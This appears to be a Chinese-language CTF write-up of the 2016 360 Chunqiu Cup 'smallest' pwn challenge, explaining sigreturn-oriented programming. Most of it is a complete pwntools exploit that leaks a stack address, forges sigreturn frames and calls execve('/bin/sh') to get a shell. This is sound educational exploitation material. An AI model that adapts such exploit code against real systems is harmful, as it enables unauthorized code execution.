在做题之前一直认为SROP是一项比较难以理解的东西,做了之后发现并不是那么回事,原理的话我推荐这个博主,我这里就不在赘述了。
题目:2016年-360春秋杯-srop赛题smallest buu上面也有
题目就是裸奔,除了堆栈不可执行都没开
题目的代码也很简单,就在start存在

我对于这个东西的理解:在调用sys_rt_sigreturn时,会将rsp所指向的位置当作sigFrame,以至于我们可以随便伪造sigFrame
在实行SROP攻击的时候需要知道的几个条件:需要泄漏出一个栈地址,需要知道syscall的地址,需要控制rax
利用过程
1 2 3 4 5
| r.send(p64(start_addr)*3) r.send(b'\xb3') r.recv(0x8) stack_addr = u64(r.recv(8)) print(hex(stack_addr))
|
首先泄漏栈地址,从上图可以看到start_addr=0x4000b0,我们首先写入三个start的地址到栈里面,然后进行下一个read,我们输入b’\xb3’,那么这时候我们将我们写入的第二个start地址改成了0x4000b3,并且此时的rax为1,所以下一次就会输出0x400个栈上面的内容,借机泄漏栈地址。
1 2 3 4 5 6 7 8 9 10 11
| sigframe = SigreturnFrame() sigframe.rax = constants.SYS_read sigframe.rdi = 0 sigframe.rsi = stack_addr sigframe.rdx = 0x400 sigframe.rsp = stack_addr sigframe.rip = syscall_addr payload = p64(start_addr)+b'a'*0x8+bytes(sigframe) r.send(payload) payload = p64(syscall_addr).ljust(0xf, b'b') r.send(payload)
|
在第三个read的时候我们写入start的地址和伪造的sigframe,接着进入第四次read,随后写入syscall地址,然后补齐0xf个字节,然后就会执行sys_rt_sigreturn,并且此时的rsp正好指向了我们伪造的sigframe。
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| bin_sh_addr = stack_addr+0x120 sigframe = SigreturnFrame() sigframe.rax = constants.SYS_execve sigframe.rdi = bin_sh_addr sigframe.rsi = 0 sigframe.rdx = 0 sigframe.rsp = stack_addr sigframe.rip = syscall_addr payload = p64(start_addr)+b'a'*0x8+bytes(sigframe) print(hex(len(payload))) payload = payload.ljust(0x120, b'\x00')+b'/bin/sh\x00' r.send(payload) payload = p64(syscall_addr).ljust(0xf, b'\x00') r.send(payload)
|
此时,在执行完之后就会进入第五次read,此次read是我们构造的,所以rsi在我们已知的栈地址上面写入内容,所以使用同样的方法构造出execve。
综上得出exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46
| from pwn import *
elf = ELF('./smallest') r = process('./smallest')
context.log_level = 'debug' context.terminal = ['gnome-terminal', '-x', 'sh', '-c'] context.arch = 'amd64'
start_addr = 0x4000B0 syscall_addr = 0x4000BE
r.send(p64(start_addr)*3) r.send(b'\xb3') r.recv(0x8) stack_addr = u64(r.recv(8)) print(hex(stack_addr))
sigframe = SigreturnFrame() sigframe.rax = constants.SYS_read sigframe.rdi = 0 sigframe.rsi = stack_addr sigframe.rdx = 0x400 sigframe.rsp = stack_addr sigframe.rip = syscall_addr payload = p64(start_addr)+b'a'*0x8+bytes(sigframe) r.send(payload) payload = p64(syscall_addr).ljust(0xf, b'b') r.send(payload)
bin_sh_addr = stack_addr+0x120 sigframe = SigreturnFrame() sigframe.rax = constants.SYS_execve sigframe.rdi = bin_sh_addr sigframe.rsi = 0 sigframe.rdx = 0 sigframe.rsp = stack_addr sigframe.rip = syscall_addr payload = p64(start_addr)+b'a'*0x8+bytes(sigframe) print(hex(len(payload))) payload = payload.ljust(0x120, b'\x00')+b'/bin/sh\x00' r.send(payload) payload = p64(syscall_addr).ljust(0xf, b'\x00') r.send(payload)
r.interactive()
|